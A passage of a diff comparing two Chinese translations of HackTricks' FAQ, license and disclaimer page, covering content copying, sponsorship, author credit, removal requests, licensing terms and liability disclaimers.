> [!WARNING] > [!WARNING]
> >
> - **Can I copy all HackTricks in my blog?** > - **我可以把所有 HackTricks 的内容复制到我的博客上吗?**
>
> **我宁愿不要**。那样做**不会对任何人有好处**,因为所有内容已经在官方的 HackTricks 书中免费公开提供。 **我不建议这样做**。这对任何人都**没有好处**,因为所有内容已经在官方的 HackTricks 书中以**免费**形式公开提供。
>
> 如果你担心内容会消失,只要在 Github 上 fork 它或下载它,就像我说的,这些内容已经是免费的。 如果你担心内容会消失,只需在 Github 上 fork 或下载,就像我说的那样,它已经是免费的。
>
> [!WARNING] > [!WARNING]
> >
> - **Why do you have sponsors? Are HackTricks books for commercial purposes?** > - **你为什么有赞助商HackTricks 这些书是为了商业目的吗?**
>
> 第一个 **HackTricks****价值** 是为**全世界的每个人**提供**免费**的黑客教育资源。HackTricks 团队投入了**数千小时**来提供这些内容,同样是**免费** 第一个 **HackTricks****价值** 是为**全世界**提供**免费**的黑客教育资源。HackTricks 团队已经**投入了数千小时**来提供这些内容,同样是**免费**。
>
> 如果你认为 HackTricks 书是为了**商业目的**而制作的,你**完全错了**。 如果你认为 HackTricks 书是为了**商业目的**你**完全错了**。
>
> 我们之所以有赞助商,是因为即便所有内容都是免费的,我们仍希望**为社区提供表达对我们工作的赞赏的方式**(如果他们愿意的话)。因此,我们提供人们通过 [**Github sponsors**](https://github.com/sponsors/carlospolop) 向 HackTricks 捐助的选项,并允许一些**相关的网络安全公司**赞助 HackTricks并在书中放置一些**广告**,这些**广告**总是放在可见的位置,但**不会打扰到学习过程**,如果有人集中精力阅读内容的话 我们有赞助商,因为即使所有内容都是免费的,我们也希望**给社区提供一个表达对我们工作的感谢的途径**。因此,我们提供人们通过 [**Github sponsors**](https://github.com/sponsors/carlospolop) 向 HackTricks 捐助的选项,并允许**相关的网络安全公司**赞助 HackTricks以及在书中**投放一些广告**,这些**广告**总是放在能**被看到**但不会**打扰学习**的地方
>
> 你不会在 HackTricks 里看到像其他内容远不及 HackTricks 的博客那样烦人的广告,因为 HackTricks 不是为商业目的而制作的。 你不会看到 HackTricks 被像其他内容远不及 HackTricks 的博客那样充斥着恼人的广告,因为 HackTricks 并不是为了商业目的而制作的。
>
> [!CAUTION] > [!CAUTION]
> >
> - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?** > - **如果某个 HackTricks 页面基于我的博客文章但没有引用我,我该怎么办?**
>
> **我们非常抱歉。这样的情况不应该发生**。请通过 Github issues、Twitter、Discord 等方式告知我们该 HackTricks 页面与原始内容的链接以及你博客的链接,**我们会检查并尽快添加引用**。 **非常抱歉。这样的情况不应该发生**。请通过 Github issue、Twitter、Discord 等方式告知我们该 HackTricks 页面包含该内容的链接以及你的博客链接,**我们会检查并尽快添加引用**。
>
> [!CAUTION] > [!CAUTION]
> >
> - **What should I do if there is content from my blog in HackTricks and I don't want it there?** > - **如果我的博客内容被收录在 HackTricks 中但我不希望它存在该处,我该怎么办?**
>
> 请注意,在 HackTricks 中链接到你的页面会 请注意HackTricks 中有你页面的链接会带来
>
> - 提高你的 **SEO** - 提升你的 **SEO**
> - 该内容会被**翻译成 15 种以上语言**,使更多人可以访问该内容 - 内容会被**翻译成 15+ 种语言**,让更多人能访问到这些内容
> - **HackTricks 鼓励** 人们**查看你的页面**(有人提到,自从他们的某个页面被收录到 HackTricks 后,他们收到了更多访问量) - **HackTricks 会鼓励**人们去**查看你的页面**(有人告诉我们,自从他们的某篇页面出现在 HackTricks 后,他们收到了更多访问量)
>
> 然而,如果你仍然希望从 HackTricks 中删除你博客的内容,只需告知我们,我们将**删除所有指向你博客的链接**以及任何基于你内容的条目 但是,如果你仍然希望从 HackTricks 中移除你博客的内容,请告知我们,我们会**删除所有指向你博客的链接**以及任何以其为基础的内容
>
> [!CAUTION] > [!CAUTION]
> >
> - **What should I do if I find copy-pasted content in HackTricks?** > - **如果我发现 HackTricks 中有抄袭内容,我该怎么办?**
>
> 我们始终**给予原作者全部的署名**。如果你发现某页面存在未引用原始来源的抄袭内容,请告知我们,我们将要么**删除该内容**,要么**在文本前添加链接**,或者**重写内容并添加链接**。 我们始终**给予原作者全部署名**。如果你发现有页面包含未引用原始来源的抄袭内容,请告知我们,我们会**删除它**、**在文本前添加链接**,或**重写并加入链接**。
## LICENSE ## LICENSE
版权所有 © 除非另有说明,否则保留所有权利。 Copyright © All rights reserved unless otherwise specified.
#### License Summary: #### License Summary:
@ -116,28 +116,28 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
#### Additional Terms: #### Additional Terms:
- Third-Party Content: 本书/博客的某些部分可能包含来自其他来源的内容,例如其他博客或出版物的摘录。此类内容的使用遵循合理使用原则或已获得相应版权持有者的明确许可。有关第三方内容的具体许可信息,请参阅原始来源。 - Third-Party Content: 部分本博客/书籍的内容可能包含来自其他来源的内容,例如摘自其他博客或出版物的片段。此类内容的使用基于合理使用原则或经相应版权持有者的明确许可。有关第三方内容的具体许可信息,请参考原始来源。
- Authorship: HackTricks 创作的原始内容受本许可条款约束。鼓励在享或改编本作品时对作者进行署名。 - Authorship: HackTricks 创作的原始内容受本许可条款约束。鼓励在享或改编本作品时对作者进行署名。
#### Exemptions: #### Exemptions:
- Commercial Use: 如需就商业用途咨询本内容的使用,请与我联系。 - Commercial Use: 关于将本内容用于商业用途的咨询,请与我联系。
本许可不授予与内容相关的任何商标或品牌权利。本博客/书籍中出现的所有商标和品牌均为其各自所有者的财产。 本许可并不授予与内容有关的任何商标或品牌权利。本博客/书籍中出现的所有商标和品牌均为其各自所有者的财产。
**通过访问或使用 HackTricks你同意遵守本许可条款。如果你不同意这些条款请勿访问本网站。** **访问或使用 HackTricks 即表示你同意遵守本许可条款。如果你不同意这些条款,请不要访问本网站。**
## **Disclaimer** ## **免责声明**
> [!CAUTION] > [!CAUTION]
> 本书《HackTricks》仅用于教育和信息目的。书中内容按“现状”提供,作者和出版方对本书中包含的信息、产品、服务或相关图表的完整性、准确性、可靠性、适用性或可用性不作任何明示或暗示的陈述或保证。任何对该等信息的依赖均由用户自行承担风险。 > 本书《HackTricks》仅用于教育和信息目的。书中内容以“现状”提供,作者和出版者对书中信息、产品、服务或相关图像的完整性、准确性、可靠性、适用性或可用性不作任何明示或暗示的陈述或保证。你对该等信息的任何依赖将完全由你自行承担风险。
> >
> 作者和出版方在任何情况下均不对任何损失或损害承担责任,包括但不限于间接或衍生的损失或损害,或因使用本书而导致的数据或利润损失。 > 在任何情况下,作者和出版者均不对任何损失或损害承担责任,包括但不限于间接或后果性损失或损害,或因使用本书而引起的数据或利润损失。
> >
> 此外,本书中描述的技术和提示仅用于教育和信息目的,不应用于任何非法或恶意活动。作者和出版方不赞同或支持任何非法或不道德的活动,使用本书中信息的任何行为均由用户自行承担风险和决定 > 此外,本书中描述的技术和提示仅用于教育和信息目的,不应用于任何非法或恶意活动。作者和出版者不赞同或支持任何非法或不道德的活动,使用本书中任何信息的风险和后果由用户自行承担
> >
> 用户对基于本书所含信息采取的任何行动独自负责,在尝试实施书中任何技术或提示时,应始终寻求专业建议和帮助。 > 用户对基于本书所含信息所采取的任何行动单独负责,并在尝试实施书中任何技术或提示时应始终寻求专业建议与帮助。
> >
> 使用本书即表示用户同意解除作者和出版方因使用本书或其中任何信息而可能导致的任何及所有损害、损失或伤害的责任与责任 > 使用本书即表示用户同意放弃对作者和出版者因使用本书或其任何信息而可能导致的任何损害、损失或伤害的所有责任追究
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}